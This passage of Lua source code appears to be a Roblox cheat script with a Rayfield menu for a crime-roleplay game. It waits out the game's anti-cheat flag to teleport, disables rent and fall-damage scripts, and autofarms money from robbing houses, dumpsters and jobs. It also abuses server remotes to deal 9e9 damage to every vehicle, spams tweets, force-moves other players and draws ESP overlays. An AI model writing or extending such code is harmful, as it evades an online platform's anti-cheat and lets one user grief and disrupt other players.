local AntiFallToggle = MiscTab:CreateToggle({
Name = "No Fall Damage",
CurrentValue = false,
Callback = function(Value)
AntiFallEnabled = Value
if Value then
task.spawn(function()
while AntiFallEnabled do
task.wait(1)
local player = game.Players.LocalPlayer
if player and player.Character then
local fallDamage = player.Character:FindFirstChild("FallDamageRagdoll")
if fallDamage then
fallDamage.Disabled = true
end
end
end
end)
end
end
})
MiscTab:CreateToggle({
Name = "No Jump Cooldown",
CurrentValue = false,
Flag = "AntiJumpCooldown",
Callback = function(Value)
getgenv().noJumpCooldown = Value
if Value then
task.spawn(function()
while getgenv().noJumpCooldown do
task.wait(0.2)
pcall(function()
local playerGui = game:GetService("Players").LocalPlayer:FindFirstChild("PlayerGui")
if playerGui then
local debounce = playerGui:FindFirstChild("JumpDebounce")
if debounce then
debounce:Destroy()
end
end
end)
end
end)
end
end,
})
local TeleportService = game:GetService("TeleportService")
local Players = game:GetService("Players")
local player = Players.LocalPlayer
MiscTab:CreateButton({
Name = "Join VC Server",
Callback = function()
TeleportService:Teleport(13453616108, player)
end,
})
local AntiRentPayEnabled = false
MiscTab:CreateToggle({
Name = "No Rent Pay",
CurrentValue = false,
Callback = function(Value)
AntiRentPayEnabled = Value
if Value then
task.spawn(function()
while AntiRentPayEnabled do
task.wait(1)
local player = game.Players.LocalPlayer
local rentGui = player:FindFirstChild("PlayerGui") and player.PlayerGui:FindFirstChild("RentGui")
if rentGui then
local rentScript = rentGui:FindFirstChild("LocalScript")
if rentScript then
rentScript.Disabled = true
rentScript:Destroy()
end
end
end
end)
end
end
})
MiscTab:CreateSection("Character Modifications")
local function updateCharacterProperty(property, value)
local character = game.Players.LocalPlayer.Character
if character and character:FindFirstChild("CharacterSettings") then
local settings = require(character.CharacterSettings)
settings[property] = value
end
end
local executor = identifyexecutor and identifyexecutor() or "Unknown"
local bannedExecutors = {
["Solara"] = true,
["JJSploit"] = true,
["Xeno"] = true,
["Zorara"] = true,
["Ronix"] = true,
}
if not bannedExecutors[executor] then
MiscTab:CreateToggle({
Name = "No Max Pick Up Range",
CurrentValue = false,
Flag = "MaxPickUpRange",
Callback = function(Value)
updateCharacterProperty("MaxPickUpRange", Value and 1000 or 6.5)
end
})
MiscTab:CreateToggle({
Name = "No KnockBack",
CurrentValue = false,
Flag = "NoKnockBack",
Callback = function(Value)
updateCharacterProperty("KnockAt", Value and 1000 or 27)
end
})
MiscTab:CreateToggle({
Name = "No Carry Cooldown",
CurrentValue = false,
Flag = "NoCarryCooldown",
Callback = function(Value)
updateCharacterProperty("CarryCooldown", Value and 0 or 0.25)
end
})
else
warn("Executor not supported:", executor)
end
MiscTab:CreateSection("Car")
local function unlockAllCars()
local cars = workspace:FindFirstChild("CivCars")
if not cars then return end
for _, car in ipairs(cars:GetChildren()) do
if car:FindFirstChild("DriveSeat") then
car.DriveSeat.Disabled = false
end
end
end
MiscTab:CreateButton({
Name = "Unlock All Cars",
Callback = function()
unlockAllCars()
end,
})
MiscTab:CreateSection("Miscellaneous")
local RunService = game:GetService("RunService")
local Workspace = game:GetService("Workspace")
local ProximityPromptService = game:GetService("ProximityPromptService")
local promptConnection
local function enableInstantInteract()
for _, prompt in pairs(Workspace:GetDescendants()) do
if prompt:IsA("ProximityPrompt") then
prompt.HoldDuration = 0
end
end
promptConnection = ProximityPromptService.PromptButtonHoldBegan:Connect(function(prompt)
prompt.HoldDuration = 0
end)
end
local function disableInstantInteract()
if promptConnection then
promptConnection:Disconnect()
promptConnection = nil
end
end
MiscTab:CreateToggle({
Name = "Instant Interact",
CurrentValue = false,
Flag = "InstantInteractToggle",
Callback = function(enabled)
if enabled then
enableInstantInteract()
else
disableInstantInteract()
end
end,
})
local AntiCameraShakeEnabled = false
local AntiCameraShakeToggle = MiscTab:CreateToggle({
Name = "No Camera Bobbing",
CurrentValue = false,
Callback = function(Value)
AntiCameraShakeEnabled = Value
if Value then
task.spawn(function()
while AntiCameraShakeEnabled do
task.wait(1)
local player = game.Players.LocalPlayer
if player and player.Character then
local cameraBobbing = player.Character:FindFirstChild("CameraBobbing")
if cameraBobbing then
cameraBobbing:Destroy()
end
end
end
end)
end
end
})
local playerGui = player:WaitForChild("PlayerGui")
local bloodGui = playerGui:FindFirstChild("BloodGui") or playerGui:WaitForChild("BloodGui")
bloodGui.Enabled = true
MiscTab:CreateToggle({
Name = "No blood",
CurrentValue = false,
Flag = "Toggle1",
Callback = function(Value)
if Value then
bloodGui.Enabled = false
else
bloodGui.Enabled = true
end
end,
})
MiscTab:CreateToggle({
Name = "No Death Screen",
CurrentValue = false,
Flag = "Toggle1",
Callback = function(Value)
if Value then
game:GetService("ReplicatedStorage"):WaitForChild("deathScreen").Enabled = false
else
game:GetService("ReplicatedStorage"):WaitForChild("deathScreen").Enabled = true
end
end,
})
local Toggle = MiscTab:CreateToggle({
Name = "No Crawl When Damaged",
CurrentValue = false,
Callback = function(enabled)
local function handleCharacter(character)
local crawlScript = character:FindFirstChild("crawlWhenDamaged")
if crawlScript then
crawlScript.Disabled = enabled
end
local humanoid = character:FindFirstChildOfClass("Humanoid")
if humanoid then
for _, track in pairs(humanoid:GetPlayingAnimationTracks()) do
if track.Name == "crawlAnimation" then
if enabled then
track:Stop()
end
end
end
end
end
if localPlayer.Character then
handleCharacter(localPlayer.Character)
end
localPlayer.CharacterAdded:Connect(function(char)
if enabled then
handleCharacter(char)
end
end)
end
})
MiscTab:CreateSection("AutoBuy")
local AutofarmTab = Window:CreateTab("Autofarm", nil)
local AutofarmSection = AutofarmTab:CreateSection("Studio Autofarm")
local camera = workspace.CurrentCamera
function stuidoprompt()
for _, v in pairs(workspace.StudioPay.Money:GetDescendants()) do
if v:IsA("ProximityPrompt") and v.Name == "Prompt" then
v.HoldDuration = 0
v.RequiresLineOfSight = false
end
end
end
AutofarmTab:CreateToggle({
Name = "Enable Studio Autofarm",
CurrentValue = false,
Flag = "RobStudioToggle",
Callback = function(Value)
local robstudio = Value
if robstudio then
local player = game.Players.LocalPlayer
local root = player.Character and player.Character:FindFirstChild("HumanoidRootPart")
local humanoid = player.Character and player.Character:FindFirstChild("Humanoid")
if not root or not humanoid then return end
local originalCFrame = root.CFrame
stuidoprompt()
for _, v in pairs(workspace.StudioPay.Money:GetDescendants()) do
if v:IsA("ProximityPrompt") and v.Name == "Prompt" and v.Enabled then
humanoid:ChangeState(0)
repeat task.wait() until not player:GetAttribute("LastACPos")
root.CFrame = CFrame.new(
v.Parent.Position.X,
v.Parent.Position.Y + 2,
v.Parent.Position.Z
)
camera.CFrame = CFrame.new(camera.CFrame.Position, v.Parent.Position)
task.wait(0.25)
repeat
task.wait(0.3)
fireproximityprompt(v)
until v.Enabled == false or not robstudio
if not robstudio then break end
end
end
if robstudio then
root.CFrame = originalCFrame
end
end
end
})
AutofarmTab:CreateButton({
Name = "Check Studio For Money",
Callback = function()
local moneyExists = false
for _, v in pairs(workspace.StudioPay.Money:GetDescendants()) do
if v:IsA("ProximityPrompt") and v.Name == "Prompt" and v.Enabled then
moneyExists = true
break
end
end
if moneyExists then
Rayfield:Notify({
Title = "Studio",
Content = "Money Found In Studio.",
Duration = 5,
Image = "pound-sterling",
})
else
Rayfield:Notify({
Title = "Studio",
Content = "No Money Found In Studio.",
Duration = 5,
Image = "pound-sterling",
})
end
end
})
local AutofarmSection = AutofarmTab:CreateSection("Dumpster Autofarm")
local player = game.Players.LocalPlayer
function teleport(x, y, z)
local char = player.Character or player.CharacterAdded:Wait()
local humanoid = char:WaitForChild("Humanoid")
local root = char:WaitForChild("HumanoidRootPart")
humanoid:ChangeState(0)
repeat task.wait() until not player:GetAttribute("LastACPos")
root.CFrame = CFrame.new(x, y, z)
end
AutofarmTab:CreateToggle({
Name = "Search Trashbags",
CurrentValue = false,
Flag = "LootTrashToggle",
Callback = function(Value)
getgenv().loottrash = Value
if Value then
for _, v in pairs(workspace:GetDescendants()) do
if v:IsA("ProximityPrompt") and v.Name == "ProximityPrompt" and v.Parent.Name == "DumpsterPromt" then
v.HoldDuration = 0
v.RequiresLineOfSight = false
end
end
task.spawn(function()
while getgenv().loottrash do
task.wait()
for _, v in pairs(workspace:GetDescendants()) do
if v:IsA("ProximityPrompt") and v.Name == "ProximityPrompt" and v.Parent.Name == "DumpsterPromt" then
local hrp = player.Character and player.Character:FindFirstChild("HumanoidRootPart")
if hrp then
teleport(v.Parent.Position.X, v.Parent.Position.Y, v.Parent.Position.Z + 3)
end
workspace.CurrentCamera.CFrame = CFrame.new(workspace.CurrentCamera.CFrame.Position, v.Parent.Position)
task.wait(0.3)
for _ = 1, 10 do fireproximityprompt(v) end
task.wait(0.1)
if not getgenv().loottrash then break end
end
end
end
end)
end
end
})
AutofarmTab:CreateToggle({
Name = "Auto Sell Pawned items",
CurrentValue = false,
Flag = "AutoSellToggle",
Callback = function(Value)
getgenv().autoSellEnabled = Value
if Value then
task.spawn(function()
while getgenv().autoSellEnabled do
for _, frame in ipairs(player.PlayerGui["Bronx PAWNING"].Frame.Holder.List:GetChildren()) do
if frame:IsA("Frame") then
local itemName = frame.Item.Text
while player.Backpack:FindFirstChild(itemName) do
game.ReplicatedStorage.PawnRemote:FireServer(itemName)
task.wait(0.05)
end
end
end
task.wait(2)
end
end)
end
end
})
local AutofarmSection = AutofarmTab:CreateSection("Construction Autofarm")
local autofarmRunning = false
local Players = game:GetService("Players")
local speaker = Players.LocalPlayer
local function getCharacter()
return speaker.Character or speaker.CharacterAdded:Wait()
end
local function safeTeleport(cf)
local character = getCharacter()
local humanoid = character:WaitForChild("Humanoid")
local hrp = character:WaitForChild("HumanoidRootPart")
humanoid:ChangeState(0)
repeat task.wait() until not speaker:GetAttribute("LastACPos")
hrp.CFrame = cf
end
AutofarmTab:CreateToggle({
Name = "Enable Construction Autofarm",
CurrentValue = false,
Flag = "ConstructionFarmFlag",
Callback = function(Value)
autofarmRunning = Value
if not speaker then return end
local function getBackpack()
return speaker:FindFirstChild("Backpack")
end
local function hasPlyWood()
local backpack = getBackpack()
local character = getCharacter()
return (backpack and backpack:FindFirstChild("PlyWood")) or (character and character:FindFirstChild("PlyWood"))
end
local function equipPlyWood()
local backpack = getBackpack()
if backpack then
local plyWood = backpack:FindFirstChild("PlyWood")
if plyWood then
plyWood.Parent = getCharacter()
end
end
end
local function fireProximityPrompt(prompt)
if prompt and prompt:IsA("ProximityPrompt") then
fireproximityprompt(prompt)
end
end
local function grabWood()
safeTeleport(CFrame.new(-1727, 371, -1178))
task.wait(0.1)
while autofarmRunning and not hasPlyWood() do
fireProximityPrompt(workspace.ConstructionStuff["Grab Wood"]:FindFirstChildOfClass("ProximityPrompt"))
task.wait(0.1)
equipPlyWood()
end
end
local function buildWall(wallPromptName, wallPosition)
local prompt = workspace.ConstructionStuff[wallPromptName]:FindFirstChildOfClass("ProximityPrompt")
while autofarmRunning and prompt and prompt.Enabled do
safeTeleport(wallPosition)
task.wait(0.01)
fireProximityPrompt(prompt)
task.wait()
if not hasPlyWood() then
grabWood()
end
end
end
if autofarmRunning then
task.spawn(function()
while autofarmRunning do
if not hasPlyWood() then
grabWood()
end
buildWall("Wall2 Prompt", CFrame.new(-1705, 368, -1151))
buildWall("Wall3 Prompt", CFrame.new(-1732, 368, -1152))
buildWall("Wall4 Prompt2", CFrame.new(-1772, 368, -1152))
buildWall("Wall1 Prompt3", CFrame.new(-1674, 368, -1166))
task.wait(0.1)
end
end)
end
end
})
AutofarmTab:CreateButton({
Name = "Start Construction Job",
Callback = function()
local player = game:GetService("Players").LocalPlayer
if not player then return end
local function getCharacter()
return player.Character or player.CharacterAdded:Wait()
end
local function safeTeleport(cf)
local char = getCharacter()
local humanoid = char:WaitForChild("Humanoid")
local hrp = char:WaitForChild("HumanoidRootPart")
humanoid:ChangeState(0)
repeat task.wait() until not player:GetAttribute("LastACPos")
hrp.CFrame = cf
end
local function fireProximityPrompt(prompt)
if prompt and prompt:IsA("ProximityPrompt") then
fireproximityprompt(prompt)
end
end
local char = getCharacter()
safeTeleport(CFrame.new(-1728, 371, -1172))
task.wait(0.2)
fireProximityPrompt(workspace.ConstructionStuff["Start Job"]:FindFirstChildOfClass("ProximityPrompt"))
task.wait(0.5)
end,
})
local AutofarmSection = AutofarmTab:CreateSection("House Rob Autofarm")
local Players = game:GetService("Players")
local player = Players.LocalPlayer
local Camera = workspace.CurrentCamera
function BypassTp(cf)
local char = player.Character or player.CharacterAdded:Wait()
local humanoid = char:WaitForChild("Humanoid")
local root = char:WaitForChild("HumanoidRootPart")
humanoid:ChangeState(0)
repeat task.wait() until not player:GetAttribute("LastACPos")
root.CFrame = cf
end
local Houseleft = {}
local Houseright = {}
local targetPosition = Vector3.new(-615, 254, -695)
function updateDoors()
table.clear(Houseleft)
table.clear(Houseright)
for _, v in pairs(workspace.HouseRobb:GetDescendants()) do
if (v.Name == "WoodenDoor" or v.Name == "HardDoor") and v:IsA("BasePart") and v:FindFirstChild("ProximityPrompt") then
if (v.Position - targetPosition).Magnitude <= 10 then
Houseright[v.Name] = v
else
Houseleft[v.Name] = v
end
end
end
end
function HouseRobPrompts()
for _, v in pairs(workspace.HouseRobb:GetDescendants()) do
if v:IsA("ProximityPrompt") and v.Name == "ProximityPrompt" then
v.HoldDuration = 0
v.RequiresLineOfSight = false
v.Enabled = false
end
end
end
AutofarmTab:CreateToggle({
Name = "Rob Houses",
CurrentValue = false,
Flag = "RobHouseToggle",
Callback = function(Value)
RobHouse = Value
local OldCframe = player.Character.HumanoidRootPart.CFrame
if RobHouse then
HouseRobPrompts()
end
task.spawn(function()
while RobHouse do
task.wait()
updateDoors()
if not RobHouse then break end
local house1Robbed = Houseleft["HardDoor"] and Houseleft["HardDoor"].Transparency == 1
local moneyParts = Houseleft["HardDoor"] and Houseleft["HardDoor"].Parent.Parent:FindFirstChild("TakeMoney")
local moneyFound = false
if house1Robbed and moneyParts then
for _, part in pairs(moneyParts:GetChildren()) do
if part.Name == "MoneyGrab" and part.Transparency == 0 then
moneyFound = true
break
end
end
end
if not house1Robbed then
for _, v in pairs(Houseleft["HardDoor"]:GetDescendants()) do
if v:IsA("ProximityPrompt") and v.Name == "ProximityPrompt" then
v.Enabled = true
BypassTp(v.Parent.CFrame * CFrame.new(-1.5, 0, 0))
Camera.CFrame = CFrame.new(Camera.CFrame.Position, v.Parent.Position)
repeat task.wait() fireproximityprompt(v) until Houseleft["HardDoor"].Transparency == 1
end
end
for _, v in pairs(Houseleft["HardDoor"].Parent.Parent:GetDescendants()) do
if v:IsA("ProximityPrompt") and v.Name == "ProximityPrompt" then
HouseRobPrompts()
local targetCFrame = v.Parent.CFrame * CFrame.new(0, 0, -3)
BypassTp(targetCFrame)
Camera.CFrame = CFrame.new(Camera.CFrame.Position, v.Parent.Position)
v.Enabled = true
repeat fireproximityprompt(v) task.wait() until v.Parent.Transparency == 1
v.Enabled = false
end
end
end
local house2Robbed = Houseright["WoodenDoor"] and Houseright["WoodenDoor"].Transparency == 1
local moneyParts2 = Houseright["WoodenDoor"] and Houseright["WoodenDoor"].Parent.Parent:FindFirstChild("TakeMoney")
local moneyFound2 = false
if house2Robbed and moneyParts2 then
for _, part in pairs(moneyParts2:GetChildren()) do
if part.Name == "MoneyGrab" and part.Transparency == 0 then
moneyFound2 = true
break
end
end
end
if not house2Robbed then
for _, v in pairs(Houseright["WoodenDoor"]:GetDescendants()) do
if v:IsA("ProximityPrompt") and v.Name == "ProximityPrompt" then
v.Enabled = true
BypassTp(v.Parent.CFrame * CFrame.new(-1.5, 0, 0))
Camera.CFrame = CFrame.new(Camera.CFrame.Position, v.Parent.Position)
repeat task.wait() fireproximityprompt(v) until Houseright["WoodenDoor"].Transparency == 1
end
end
for _, v in pairs(Houseright["WoodenDoor"].Parent.Parent:GetDescendants()) do
if v:IsA("ProximityPrompt") and v.Name == "ProximityPrompt" then
HouseRobPrompts()
local targetCFrame = v.Parent.CFrame * CFrame.new(0, 0, -3)
BypassTp(targetCFrame)
Camera.CFrame = CFrame.new(Camera.CFrame.Position, v.Parent.Position)
v.Enabled = true
repeat fireproximityprompt(v) task.wait() until v.Parent.Transparency == 1
v.Enabled = false
end
end
end
BypassTp(OldCframe)
break
end
end)
end
})
AutofarmTab:CreateButton({
Name = "Check Houses For Money",
Callback = function()
updateDoors()
local moneyInHouse1 = false
local moneyInHouse2 = false
if Houseleft["HardDoor"] and Houseleft["HardDoor"].Parent.Parent:FindFirstChild("TakeMoney") then
for _, part in pairs(Houseleft["HardDoor"].Parent.Parent.TakeMoney:GetChildren()) do
if part.Name == "MoneyGrab" and part.Transparency == 0 then
moneyInHouse1 = true
break
end
end
end
if Houseright["WoodenDoor"] and Houseright["WoodenDoor"].Parent.Parent:FindFirstChild("TakeMoney") then
for _, part in pairs(Houseright["WoodenDoor"].Parent.Parent.TakeMoney:GetChildren()) do
if part.Name == "MoneyGrab" and part.Transparency == 0 then
moneyInHouse2 = true
break
end
end
end
if moneyInHouse1 or moneyInHouse2 then
Rayfield:Notify({
Title = "House Check",
Content = "Money found in houses!",
Duration = 3,
Image = "pound-sterling",
})
else
Rayfield:Notify({
Title = "House Check",
Content = "No money found in houses.",
Duration = 3,
Image = "pound-sterling",
})
end
end
})
local AutofarmSection = AutofarmTab:CreateSection("Manual Autofarms")
local player = game.Players.LocalPlayer
local Camera = workspace.CurrentCamera
local stealm = false
local stealTask
local function StealMoneyPrompt()
for _, v in pairs(workspace.Dollas:GetDescendants()) do
if v:IsA("ProximityPrompt") and v.Name == "ProximityPrompt" then
v.HoldDuration = 0
v.RequiresLineOfSight = false
end
end
end
local function startStealing()
StealMoneyPrompt()
stealTask = task.spawn(function()
while stealm do
task.wait()
local found = false
for _, v in pairs(workspace.Dollas:GetDescendants()) do
if v:IsA("ProximityPrompt") and v.Name == "ProximityPrompt" and stealm then
found = true
StealMoneyPrompt()
Camera.CFrame = CFrame.new(Camera.CFrame.Position, v.Parent.CFrame.Position)
local char = player.Character
local humanoid = char and char:FindFirstChildOfClass("Humanoid")
local hrp = char and char:FindFirstChild("HumanoidRootPart")
if humanoid and hrp then
humanoid:ChangeState(0)
repeat task.wait() until not player:GetAttribute("LastACPos")
hrp.CFrame = v.Parent.CFrame
end
task.wait(0.25)
fireproximityprompt(v)
end
end
if not found then
pcall(function()
Rayfield:Notify({
Title = "Auto Cash Pickup",
Content = "No dropped cash found!",
Duration = 4,
Image = "pound-sterling",
})
end)
task.wait(3) -- Wait a bit to avoid spamming
end
end
end)
end
local function stopStealing()
stealm = false
if stealTask then
task.cancel(stealTask)
stealTask = nil
end
end
AutofarmTab:CreateToggle({
Name = "Auto Collect Dropped Cash",
CurrentValue = false,
Flag = "AutoPickupToggle",
Callback = function(value)
stealm = value
if stealm then
startStealing()
else
stopStealing()
end
end
})
local PlayersTab = Window:CreateTab("Players", nil)
local function safeTeleport(x, y, z)
local character = getCharacter()
if not character then return end
local humanoid = character:FindFirstChild("Humanoid")
local hrp = character:FindFirstChild("HumanoidRootPart")
if not humanoid or not hrp then return end
humanoid:ChangeState(0)
repeat task.wait() until not speaker:GetAttribute("LastACPos")
local cf = CFrame.new(x, y, z)
hrp.CFrame = cf
end
local Players = game:GetService("Players")
local localPlayer = Players.LocalPlayer
local function getPlayerNames()
local names = {}
for _, p in ipairs(Players:GetPlayers()) do
if p ~= localPlayer then
table.insert(names, p.Name)
end
end
return names
end
local selectedPlayer = nil
PlayersTab:CreateSection("Player")
local Dropdown = PlayersTab:CreateDropdown({
Name = "Select Player",
Options = getPlayerNames(),
CurrentOption = {"None"},
MultipleOptions = false,
Flag = "Dropdown1",
Callback = function(Options)
selectedPlayer = Players:FindFirstChild(Options[1])
end,
})
PlayersTab:CreateSection("Spectate")
PlayersTab:CreateToggle({
Name = "Spectate Selected Player",
CurrentValue = false,
Flag = "SpectateToggle",
Callback = function(Value)
if Value then
if selectedPlayer and selectedPlayer.Character then
workspace.CurrentCamera.CameraSubject = selectedPlayer.Character:FindFirstChildOfClass("Humanoid")
end
else
local character = getCharacter()
if character and character:FindFirstChildOfClass("Humanoid") then
workspace.CurrentCamera.CameraSubject = character:FindFirstChildOfClass("Humanoid")
end
end
end,
})
PlayersTab:CreateSection("Teleport")
PlayersTab:CreateButton({
Name = "Teleport To Selected Player",
Callback = function()
if selectedPlayer and selectedPlayer.Character and selectedPlayer.Character:FindFirstChild("HumanoidRootPart") then
local pos = selectedPlayer.Character.HumanoidRootPart.Position
safeTeleport(pos.X, pos.Y, pos.Z)
end
end,
})
Players.PlayerAdded:Connect(function()
Dropdown:Refresh(getPlayerNames())
end)
Players.PlayerRemoving:Connect(function()
Dropdown:Refresh(getPlayerNames())
end)
local loopTeleport = false
local loopBring = false
local teleportLoop
local bringLoop
PlayersTab:CreateToggle({
Name = "Loop Teleport To Selected Player",
CurrentValue = false,
Flag = "LoopTeleportToggle",
Callback = function(Value)
loopTeleport = Value
if loopTeleport then
teleportLoop = task.spawn(function()
while loopTeleport do
if selectedPlayer and selectedPlayer.Character and selectedPlayer.Character:FindFirstChild("HumanoidRootPart") then
local pos = selectedPlayer.Character.HumanoidRootPart.Position
safeTeleport(pos.X, pos.Y, pos.Z)
end
task.wait(0.1)
end
end)
end
end,
})
PlayersTab:CreateToggle({
Name = "Loop Bring Selected Player",
CurrentValue = false,
Flag = "LoopBringToggle",
Callback = function(Value)
loopBring = Value
if loopBring then
bringLoop = task.spawn(function()
while loopBring do
if selectedPlayer and selectedPlayer.Character and selectedPlayer.Character:FindFirstChild("HumanoidRootPart") then
local character = getCharacter()
if character and character:FindFirstChild("HumanoidRootPart") then
local myPos = character.HumanoidRootPart.Position
selectedPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(myPos)
end
end
task.wait(0.1)
end
end)
end
end,
})
local PlayersSection = PlayersTab:CreateSection("Tweet Messages")
local messageToSend = ""
local spamming = false
local spamDelay = 0
local function sendTweet()
if messageToSend ~= "" then
local args = {
"Tweet",
{
"CreateTweet",
messageToSend
}
}
game:GetService("ReplicatedStorage")
:WaitForChild("Resources")
:WaitForChild("#Phone")
:WaitForChild("Main")
:FireServer(unpack(args))
end
end
PlayersTab:CreateInput({
Name = "Tweet Message",
PlaceholderText = "X-Dk on top",
RemoveTextAfterFocusLost = false,
EnterSubmit = true,
Callback = function(Input)
messageToSend = Input
sendTweet()
end,
})
local Slider = PlayersTab:CreateSlider({
Name = "Spam Tweets Delay",
Range = {0, 10},
Increment = 1,
Suffix = "s",
CurrentValue = 10,
Flag = "Slider1", -- A flag is the identifier for the configuration file, make sure every element has a different flag if you're using configuration saving to ensure no overlaps
Callback = function(Value)
local spamDelay = Value
end,
})
PlayersTab:CreateToggle({
Name = "Spam Tweets",
CurrentValue = false,
Flag = "spamToggle",
Callback = function(value)
spamming = value
if spamming then
spawn(function()
while spamming do
sendTweet()
wait(spamDelay)
end
end)
end
end,
})
getgenv().notify = true
getgenv().highlightdestroy = true
getgenv().damage = 9e9
function checkgun()
local tool = game.Players.LocalPlayer.Character:FindFirstChildWhichIsA("Tool")
return tool
end
function getpaint(car)
return car.PrimaryPart or car:FindFirstChildWhichIsA("BasePart")
end
function DamageAllVehicles()
local gunTool = checkgun()
if not gunTool then
game.StarterGui:SetCore("SendNotification", {
Title = "❗️",
Text = "You need to equip a gun!"
})
return
end
for _, car in ipairs(workspace:WaitForChild("CivCars"):GetChildren()) do
if getgenv().notify then
Rayfield:Notify({
Title = "Damaged All Cars.",
Content = car.Name .. " was damaged!",
Duration = 3,
Image = "rewind",
})
end
if getgenv().highlightdestroy then
local highlight = Instance.new("Highlight")
highlight.FillColor = Color3.fromRGB(255, 0, 0)
highlight.OutlineColor = Color3.fromRGB(255, 255, 255)
highlight.Parent = car
game.Debris:AddItem(highlight, 2)
end
local targetPart = getpaint(car)
if targetPart then
game:GetService("ReplicatedStorage").InflictCar:InvokeServer(
gunTool,
car,
targetPart,
getgenv().damage
)
end
end
end
local Button = PlayersTab:CreateButton({
Name = "Explode All Vehicles",
Callback = function()
DamageAllVehicles()
end,
})
local VisualsTab = Window:CreateTab("Visuals", nil)
VisualsTab:CreateSection("Boxes")
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local Camera = workspace.CurrentCamera
local RunService = game:GetService("RunService")
local ESPConnections = {}
local ShowBox, RainbowBox = false, false
local ShowName, RainbowName = false, false
local ShowHealth, RainbowHealth = false, false
local ShowDistance, RainbowDistance = false, false
local ShowTool, RainbowTool = false, false
local ShowTracer, RainbowTracer = false, false
local BoxColor = Color3.new(1, 1, 1)
local NameColor = Color3.fromRGB(255, 255, 255)
local HealthColor = Color3.fromRGB(255, 255, 255)
local DistanceColor = Color3.fromRGB(255, 255, 255)
local ToolColor = Color3.fromRGB(255, 255, 255)
local TracerColor = Color3.fromRGB(255, 255, 255)
local TracerOrigin = "Bottom"
local function getRainbowColor()
local t = tick() * 2
return Color3.fromHSV((t % 5) / 5, 1, 1)
end
function createESP(player)
local boxOutline = Drawing.new("Square")
boxOutline.Thickness = 1
boxOutline.Transparency = 1
boxOutline.Visible = false
boxOutline.Filled = false
local function newText(size)
local text = Drawing.new("Text")
text.Size = size
text.Center = true
text.Outline = false
text.Visible = false
return text
end
local nameText = newText(14)
local healthText = newText(13) healthText.Center = false
local distanceText = newText(13)
local toolText = newText(13)
local tracer = Drawing.new("Line")
tracer.Thickness = 1
tracer.Transparency = 1
tracer.Visible = false
local conn = RunService.RenderStepped:Connect(function()
if not player.Character or not player.Character:FindFirstChild("HumanoidRootPart") then
boxOutline.Visible = false
nameText.Visible = false
healthText.Visible = false
distanceText.Visible = false
toolText.Visible = false
tracer.Visible = false
return
end
local hrp = player.Character.HumanoidRootPart
local pos, onScreen = Camera:WorldToViewportPoint(hrp.Position)
if onScreen then
local distance = (LocalPlayer.Character.HumanoidRootPart.Position - hrp.Position).Magnitude
local humanoid = player.Character:FindFirstChildOfClass("Humanoid")
local health = humanoid and humanoid.Health or 0
local maxHealth = humanoid and humanoid.MaxHealth or 100
local healthPercent = math.floor((health / maxHealth) * 100)
local toolName = "None"
local tool = player.Character:FindFirstChildOfClass("Tool")
if tool then toolName = tool.Name end
local height = math.clamp(3000 / distance, 2, 100)
local width = height / 2
local boxPos = Vector2.new(pos.X - width / 2, pos.Y - height / 2)
boxOutline.Size = Vector2.new(width, height)
boxOutline.Position = boxPos
boxOutline.Color = RainbowBox and getRainbowColor() or BoxColor
boxOutline.Visible = ShowBox
nameText.Position = Vector2.new(pos.X, pos.Y - height / 2 - 16)
nameText.Text = player.Name
nameText.Color = RainbowName and getRainbowColor() or NameColor
nameText.Visible = ShowName
healthText.Position = Vector2.new(pos.X + width / 2 + 4, pos.Y - height / 2)
healthText.Text = tostring(healthPercent) .. "%"
healthText.Color = RainbowHealth and getRainbowColor() or HealthColor
healthText.Visible = ShowHealth
distanceText.Position = Vector2.new(pos.X, pos.Y + height / 2 + 2)
distanceText.Text = math.floor(distance) .. " studs"
distanceText.Color = RainbowDistance and getRainbowColor() or DistanceColor
distanceText.Visible = ShowDistance
toolText.Position = Vector2.new(pos.X, pos.Y + height / 2 + 18)
toolText.Text = toolName
toolText.Color = RainbowTool and getRainbowColor() or ToolColor
toolText.Visible = ShowTool
local originY = TracerOrigin == "Top" and 0 or TracerOrigin == "Middle" and Camera.ViewportSize.Y / 2 or Camera.ViewportSize.Y
tracer.From = Vector2.new(Camera.ViewportSize.X / 2, originY)
tracer.To = Vector2.new(pos.X, pos.Y)
tracer.Color = RainbowTracer and getRainbowColor() or TracerColor
tracer.Visible = ShowTracer
else
boxOutline.Visible = false
nameText.Visible = false
healthText.Visible = false
distanceText.Visible = false
toolText.Visible = false
tracer.Visible = false
end
end)
ESPConnections[player] = conn
end
local function clearESP()
for _, conn in pairs(ESPConnections) do
conn:Disconnect()
end
table.clear(ESPConnections)
end
local function setup()
clearESP()
for _, player in pairs(Players:GetPlayers()) do
if player ~= LocalPlayer then
createESP(player)
end
end
Players.PlayerAdded:Connect(function(player)
if player ~= LocalPlayer then
createESP(player)
end
end)
end
setup()
VisualsTab:CreateToggle({Name = "Enable Box", CurrentValue = false, Callback = function(v) ShowBox = v end})
VisualsTab:CreateColorPicker({Name = "Box ColorPicker", Color = BoxColor, Callback = function(c) BoxColor = c end})
VisualsTab:CreateToggle({Name = "Rainbow Boxes", CurrentValue = false, Callback = function(v) RainbowBox = v end})
VisualsTab:CreateSection("Names")
VisualsTab:CreateToggle({Name = "Enable Names", CurrentValue = false, Callback = function(v) ShowName = v end})
VisualsTab:CreateColorPicker({Name = "Name ColorPicker", Color = NameColor, Callback = function(c) NameColor = c end})
VisualsTab:CreateToggle({Name = "Rainbow Names", CurrentValue = false, Callback = function(v) RainbowName = v end})
VisualsTab:CreateSection("Health")
VisualsTab:CreateToggle({Name = "Enable Health", CurrentValue = false, Callback = function(v) ShowHealth = v end})
VisualsTab:CreateColorPicker({Name = "Health ColorPicker", Color = HealthColor, Callback = function(c) HealthColor = c end})
VisualsTab:CreateToggle({Name = "Rainbow Health", CurrentValue = false, Callback = function(v) RainbowHealth = v end})
VisualsTab:CreateSection("Distance")
VisualsTab:CreateToggle({Name = "Enable Distance", CurrentValue = false, Callback = function(v) ShowDistance = v end})
VisualsTab:CreateColorPicker({Name = "Distance ColorPicker", Color = DistanceColor, Callback = function(c) DistanceColor = c end})
VisualsTab:CreateToggle({Name = "Rainbow Distance", CurrentValue = false, Callback = function(v) RainbowDistance = v end})
VisualsTab:CreateSection("Weapon")
VisualsTab:CreateToggle({Name = "Enable Weapon", CurrentValue = false, Callback = function(v) ShowTool = v end})
VisualsTab:CreateColorPicker({Name = "Weapon ColorPicker", Color = ToolColor, Callback = function(c) ToolColor = c end})
